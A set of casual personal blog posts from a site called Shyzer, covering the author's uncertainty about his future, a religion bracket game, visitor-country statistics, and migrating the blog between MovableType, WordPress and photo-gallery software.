I think this whole post best exemplifies how Shyzer is indeed an extension of myself, for if you think things are a little weird around here, you should take a guided tour through my head. I’ve always been a person who simply does what feels right, not what he thinks he should do next. In times past, I’ve usually listened to my gut and while it’s been known to play tricks on me every now and then, things have always turned out right in the end. See: Mariners, Seattle. Girlfriends, past. Australia, best few months of my life spent in, etc. Yet for the first time in my entire life, nothing feels right and yet nothing feels wrong. I can’t seem to find a clear frequency to my gut and instead all I’m picking up is static. I don’t know what to do next with my life and frankly, it pisses me off far more than it scares me. Fuck not knowing what direction to take Shyzer in, I don’t even know what fucking direction I want my life to travel for the next few years.

Everything I think about doing next sounds at the same time great and horrible. I’m 23 years old and as conceited and naive as it sounds, I still know and believe that I can do something great in my lifetime. I don’t think I’m destined to do something specific, that some higher being put me here just so I could follow a path that was laid for me. But I do feel with every fiber of my being that I have the potential to do and be something great, that greatness is within my grasp if only I discover the path to it before it becomes overgrown with weeds. That’s what I worry about most, missing or ignoring my one true chance at greatness. I’ll never be able to settle on having a “regular” life. If a time traveler from the future came to me right now and told me that in 50 years, I’d be retiring as the district manager of some regional office, I think I’d lose my will to live right then and there. I’ve never been able to stomach the thought of simply becoming a small cog in the machine of life, becoming somebody who will be mourned for a few years after his death and then simply forgotten, becoming just like everybody else. Becoming Normal. Becoming Average. Come Hell or high water, I’m going to find a way to make a difference and achieve something, even if it destroys me and sends me to an early grave. And that, my friends, is something I give my word to.

To make matters worse is that despite having more friends than I’ve ever had in my entire life and living at home with a family that absolutely adores me, I feel more alone than I’ve ever felt before in my entire life. I no longer have that one deep and close friendship to rely on like I used to have with a few certain people and for the first time in my life, I’m staring down the barrel of uncertainty utterly and completely alone, with no one standing next to me who entirely and fully understand me. But like they say…well, my knowledge of quotes and proverbs has picked a wonderful time to fail me, but hopefully there’s a saying or two out there that would make me feel better.

I don’t know if you can tell from the way I act on the Internet, but I’m an extremely private person in real life. I don’t like talking about myself or my thoughts or plans or dreams or whatever with most people. Sure, I’m goofy as hell, but rarely in a serious way and more in a comedic relief type manner. Whenever things turn serious, I tighten up and retreat into my head. And that’s where Shyzer’s importance in my life came in. It was an outlet for me to come and say what I thought and be myself and do my thing. And yet, as time has gone on, the occasion of censoring myself has grown more and more frequent and the main cause for this has been due to the fact that I know who is reading Shyzer. I know people don’t want to read some cookie cutter crap that’s censored and refined and even if that’s what they want, I wouldn’t write it since it’s boring as hell to do so. I want to be as candid as possible, but there’s certainly more I wish I could say on here. Fuck, I’ll be honest here. In the past three and a half months alone, I’ve probably stopped myself 20 times from posting something in particular. “Shit, this is totally gonna piss off so and so,” or “Oh fuck, if she reads this, she’ll think I’m a fucking psycho,” or “Dear Christ, it will take all of 10 minutes for my phone to start ringing if I hit the Publish button.” I don’t enjoy defending myself or my actions. I’ve never subscribed to the belief that I should have explain myself to people, partially due to the fact that I don’t like confrontation and partially due to the fact that most people just wouldn’t understand.

I have nobody to blame but myself for getting all my friends and family into reading Shyzer and even as I type this, I hope everybody who reads Shyzer continues to do so. For years now, I’ve been known to pimp Shyzer on a daily basis and the last thing I want to do is say, “Hey you! Yeah, even though we’ve known each other for 15 years and you’ve been reading Shyzer for months now, fuck off so I can have the liberty to say whatever I want.” I promise you, that’s not what I want, at all. As a writer, you want as many people as possible to read what you have to say, even if it might ruffle a few feathers or force a family member or two to disown me.

But even more importantly, I’m going to stop writing what I think people might want to read and start writing what I want to write. If you find the new Shyzer too boring or too one-dimensional (ie, only shit I’m interested in), sorry mates. Like I’ve already said, this is an extension of me, not y’all, and I’m going to try my best to make posting a pleasurable experience for me once again compared to the chore I currently view it as.

So here’s the deal. In a few days, I’m going to open Shyzer’s doors again and try something out. The comments will be turned off, the tagboard will be taken down, and I’m not going to track my stats or see who and how many people are reading what. I desire no feedback on what I write here. If you want to read Shyzer, that’s great and if you don’t, no worries. I am still trying to find my true calling and while this may seem like I’m blaming my lack of vision and initiative on Clay or Fellner reading Shyzer, that’s not it at all. In the words of Henry David Thoreau, I’m merely trying to “simplify, simplify, simplify.” Perhaps if I clean things up and clear my head here on Shyzer, I’ll be able to do the same thing in real life.

And if that fails, at least I’ll have tried something, because what I’m doing not just ain’t working and I can already hear my window slowly closing.

Next round of the Religion Tournament will be uploaded when I wake up. Next version of Shyzer will be uploaded whenever I feel like it.

So, anybody who’d like to participate, click here (sorry, link since removed) and fill in which contestants you think will win each round. Once you’ve done so, hit the “save then e-mail” button, select “other,” and then hit “Save Data File.” This will now save your picks to your own computer in .xml form and all you have to do is e-mail that file to me.

Once you e-mail me your .xml file, I’ll plug it into the original bracket and upload them all here on Shyzer. That way, you’ll be able to not only see who you picked, but who all your other fellow Shyzerans picked and we can all watch to see whose bracket was the most poorly selected! See, isn’t public ridicule fun?! And so help me God if the only person who actually does this is Fellner!

Two quick last notes, first, since I’m posting this at 0230, I’m gonna hold off on starting the first round and give everybody one full day to get their brackets in. Second, I already know who is going as far as the Sweet 16 and I’ve got a vague idea of the Elite Eight and Final Four. Your submissions will have no effect of the results, so pick whoever the hell you want and don’t worry about possibly influencing me.

shyzerDOTcom: I’m typing up a short introduction about you for Shyzer – anything in particular you want it to say?
Andy: The first and last time I chewed tobacco was a nice sized load of Red Man that I partly swallowed.
Andy: I then had to dig a 2 foot wide by 3 foot deep hole that I nearly vomited into in front of my PhD adviser.
Andy: that’s really all they need to know

That’s Andy for ya, folks. But, without further ado, I give you Andy’s first posting here on Shyzer, which can be found on the post below.

Here is what I need: I need y’all to think of actors, singers, athletes, politicians – basically ANYBODY famous that you associate with a specific religion. For instance, Mel Gibson = Hollywood’s poster child Christian. Tom Cruise = Crazy Scientology Dude. Richard Gere = Buddhist. You get the point. Also, the person can be associated with a religion I’ve already named. Mel Gibson doesn’t get to be the only Christian on my list and while I’d love for there to be as few Scientology people on it as possible, if you can think of any other person you immediately associate with the wacko “religion”, then fire away.

So make yourselves useful and contribute to a Shyzer post I’m working on!

Don’t worry dude, I won’t rat you out to the Pakistani authorities, even though I’m pretty sure you can be put to death for searching for that in your country. But I need to warn you, despite my best efforts and what MSN might tell you, there ain’t many breast orgies going on here at Shyzer.

I do think it’s high time we change that, though.

When you realize you don’t agree with most of the 2,522 words you’ve just written, that feeling begins to dissipate.

When you decide to sit back down and start over again, you feel as if bashing your face in with a blunt object might be a little more productive.

Since the day this post was created, Shyzer has received visitors from the following countries:

Afghanistan
Algeria
Argentina
Australia
Austria
Bahrain
Bangladesh
Belgium
Bermuda
Bolivia
Brazil
Britain
Brunei
Bulgaria
Burkina Faso
Canada
Chile
China
Columbia
Costa Rica
Cote D’Ivoire
Croatia
Cyprus
Czech Republic
Denmark
Dominican Republic
Ecuador
Egypt
El Salvador
Estonia
Europe
Faroe Islands
Fiji
Finland
France
Germany
Ghana
Greece
Greenland
Guatemala
Hong Kong
Hungary
Iceland
India
Indonesia
Iran
Iraq
Ireland
Isreal
Italy
Japan
Jordan
Kuwait
Laos
Latvia
Lebanon
Lithuania
Luxembourg
Malaysia
Malta
Mauritius
Mexico
Morocco
Netherlands
New Zealand
Nigeria
Norway
Oman
Pakistan
Panama
Peru
Philippines
Poland
Portugal
Puerto Rico
Qatar
Romania
Russia
Saudi Arabia
Serbia
Singapore
Slovakia
Slovenia
South Africa
South Korea
Spain
Sri Lanka
Sudan
Sweden
Switzerland
Syria
Taiwan
Thailand
Trinidad and Tobago
Tunisia
Turkey
Uganda
Ukraine
Uruguay
United Arab Emirates
United States
Venezuela
Vietnam

Allow me to take a moment to say, “That’s damn cool.”

It looks like I’m gonna go with the Flickr Pro account. I actually installed the 4Images program I talked about earlier and it works just fine, but the thought of uploading all the photos and thinking of captions and crap for them again simply was not an appealing thought. Plus it just doesn’t look right, what with the way the categories and photos are displayed. Plus, Flickr is so much cleaner and with the promise of no outside ads being run and unlimited storage / bandwidth, I think it’s the smartest decision. That’ll clear 600megs off my server and free that room up for some other things I’d rather share

I figure I may as well stay up all night at this point and keep working on Shyzer. My problem is that I have so many ideas and things that I want to try to do, that I fail to focus enough and get anything accomplished. Here’s to hoping I can finish at least one of these ideas by the end of the week and have something to show for it.

Eight minutes per fucking picture.

No thank you.

So, I’ve spent today backing up my pictures and am going to spend tomorrow moving over to something else. As of now, I am considering switching to either 4images, Coppermine, or pay $24.99 for a Flickr Pro account. I would go with one of the two free software, but they both could have me wanting to strangle myself just like Gallery has over the past few years. And while Flickr costs money each year, there are some cool plugins with WordPress that I could use.

I thought about taking the damn pictures down altogether, but once I thought about it and looked at the stats, I actually realized how many people visit the darn things each day. So since people seem to enjoy them, I’ll keep them around – albeit in a new format – and anybody who wants to see me in a freaking dress at 0300 on a Tuesday morning will still be able to come to Shyzer and have a peek.

Don’t even let it be said I forgot about Shyzer during the holidays!

Sometime soon, I’m gonna clean some space off of Shyzer to make room for some new videos I’ve recorded lately. So, if you have any favorite movies or anything, you might want to DL them just in case I take them off Shyzer soon. They’ll always be available by request though.

Sorry for the short entry, but I’m tired and I’ve had a bit too much egg nog & rum. God I love the holidays. My rum & cokes are replaced with a seasonal beverage, Christmas music literally fills the house all day as my mom plays the same 6 CDs repeatedly, and Christmas decorations blanket the house. You can’t ask for more.

As you can see, I’ve made some changes here at Shyzer Industries. During my final few days in Australia, I decided that when I got home, I wanted to give Shyzer a new layout. A few weeks later, I decided that I wanted to switch from MovableType over to WordPress. Then last week, I decided I wanted to switch hosts. So, I figured why not do it all at once and kill three birds with forty-eight stones, because in all honesty the number of problems I ran into trying to do three major things like that at once made it such a bloody hassle.

But now it’s done and frankly, I enjoyed the challenge. Along the way, I learned quite a bit about MySQL databases, I picked up some php coding skills, and I became dangerously competent in Photoshop. I know, it’s frightening. And to think, it only took me staying up until 0900 every morning for the better part of a week to accomplish everything!

First off, this theme is centered around the images about. I use the plural version of image, because if you haven’t discovered this yet, it changes. Every time you reload or go to a new page on Shyzer, the image above will randomly change to any of the ones I have in a certain folder. At last count, there were 46 of them, but I’ll be adding to it as I come across more images that I find reflect the mood I’m looking for. And of course, I’m sure I’ll grow tiresome of some and delete them.

Basically, the inspiration came from this photo, which I fell in love with the moment I laid my bleary eyes upon it. The green on white struck me as beautiful at first, but then I began to love the idea of what was happening in the photo. In my mind, the guy in that picture up and decided to just pack a bag and take off. Hop on a train, let it carry you to an unexplored land, get off in the middle of the night, and just go where your feet carry you. I had that feeling when I was on the plane going to Australia almost eight months ago and it’s such a wonderful rush. It’s where I see myself right now too; poised to take yet another leap into the unknown and knowing absolutely nothing in the future is certain. I just can’t wait until I get to experience that new domain just over the horizon.

All of the photos I’ve used convey that feeling to me in one way or another. Some are of people actually traveling into the unknown. Others are of people dreaming about it. Or at least that’s what I like to fool myself into believing.

Not everything is fully functional on the site right now and Lord knows I have plenty of tweaking to do, but all the interactive stuff should be running. The search function should work, the tag board should work, the comments should work, all the link in the right column should work other than “Sub Pages.” But with that said, if you find anything screwy with the new layout, by all means let me know so that I can fix it. I’m 99% sure this layout works in Internet Explorer too, but dear God was that a battle. Seriously folks, you’d be doing me and yourself a huge favor if you’d just switch over to Firefox. But I digress.

[edit] I just found two things that don’t show up in IE, the horizontal bars separating the sections in the right column and . Damn you Microsoft, I hate your shitty products! [/edit]

Anyways, hope you enjoy the new look. Now I’m off to go catch some z’s before the rest of my family wakes up.

Go visit another site. There’s plenty to pick from down there on the lower left hand side of Shyzer.

Go have a rum & coke. They’re quite delicious.

Watch some baseball. There’s only a week left to go and even though my team is buried in the standings (Hello high draft pick for the second year in a row!), I am captivated by the playoff races. 10 teams are on the brink. Too bad there are only 6 ladies looking to dance. I love this time of year.

Make up a song. Sing it aloud. Loudly. While naked! Trust me, the naked part makes it fun.

If you’re not gonna drink that rum & coke, at least send it my way. Chances are I’m sitting here sweating bullets, trying to get Shyzer back on-line and configured correctly.

And if all else fails, get the fuck outside. It’s gorgeous here in Virginia right now and I’ve been happily spending my days outdoors doing manual labor. Fresh air is good for ya, you know?

See ya Tuesday evening folks.

You might be asking yourself, “24 hours worth of work? What the hell are you talking about?” Well, skippy, go take a look at the archives. No, ignore the weird white line encompassing the page, I still I have no idea what’s causing that. Or why the Shyzer Blog logo in the archives is black or at the very least a dark gray. What you need to focus on instead is that I finally did what I was talking about a week or so ago. I’ve spent 7 or 8 hours per day for the past three days importing each and every bloody comment from Greymatter into MovableType. Why? Well, that will become a little more clear to y’all in the very near future =)

Doing this little endeavor, I learned a few things about Shyzer that I honestly didn’t know beforehand. Allow me to share.

• Somehow the baton for “Biggest Comment Whore” belongs to Angela, who has outright blown the competition out of the water for over two years now. Starting around March of ’03, she just started commenting and hasn’t stopped. This is easily the biggest shocker to me; I had no idea how much she’d commented in all.
• Stan made three separate comments over the span of 6 months saying some variation of “This is the first time I’ve ever commented on Shyzer.” Well done, my boy.
• A total of 16 people have left comments linking to now defunct websites. Some of these people I remember from back in the day, others not so much. I tried going to their websites to see who they were, but I was either greeted with an “Error: Cannot find www.crappysite.com” or with some search engine from a company that goes around buying expired domains. And to think, Shyzer could have become #17.
• Fellner didn’t comment once before April 30th, 2004. Sax didn’t comment before April 14th, 2004. Jaime didn’t comment before August 25th, 2004. I’m not faulting any of them, I’m simply saying that in my head, I seem to remember all three of them commenting here on Shyzer since day one. I didn’t realize how many new people started commenting around the time I switched from Greymatter to MovableType. This also means that Fellner was beaten to commenting by LeeSill, who left his first comment on February somethingorother, 2004. Sucker.
• Some of the steadiest commenters have been Ally, Angel, Caitlin and Shipman, who all started commenting early and still do to this day. I figured Waynus or Clay might be in that group, but neither of them comment nearly as much as I thought they did.
• I didn’t realize much more than this, but I had already made this bullet, so I figured I should put something here. How about a fun statistical fact. I have over 150 comments. Angela has over 100. We’re the only two to crack triple digits.

Anyways, there you have it. 24 hours worth of mind numbingly boring work and that’s what I come up with.

Also, as I was going to upload some pictures in the gallery, I was told that I needed to upgrade my software. I was promised that it would be “Smooth, fast, and easy!” so I went ahead and hit the upgrade button. SIX HOURS LATER I opened my window, was greeted by a rising sun, and screamed at the top of my lungs that I was quitting the Internet.

Alas, I managed to complete the upgrade and even more astounding, upload a few hundred pictures. First off, there’s the pirate party that Dutch Dave and Luke threw right before we all left Newcastle. Dutch was returning to Europe and Luke was moving away, so they figured why not throw a going away party? I simply had fun running around with a pirate hat on my head screaming “ARRRRRG!”

Next we have my pictures from the Sydney Farewell Trip that Hannah, Keeley, Simon, Tim, and Tom accompanied me on. My plane left early Thursday morning, so in order not to miss it, we all went down Wednesday morning, goofed off in Sydney all day and night, and then went to the airport the next morning.

From there we move onto some family pictures. As soon as I left Australia, I met up with my family in Minnesota to spend the 4th of July with them. If you remember, Tommy and I went up there last year for the 4th to hang with our aunt, uncle, and nephew, but this year my mom, Jeff, and all my siblings joined us.

And finally, some pictures from graduation as well as a few other random shots. From now on, I’m going to be sticking random family pictures in this category.

Next on the agenda for Shyzer is getting these videos uploaded, updating the cast pages, converting all the old GreyMatter posts into MovableType and THEN upgrading to WordPress. After that, might I dream of making a new layout?! Of course, my every other three days ranting will go on in-between all this!

Actually, I take that back. I already have a post typed up for tomorrow about how I caused Hurricane Katrina. Bet you’ll never be able to guess how!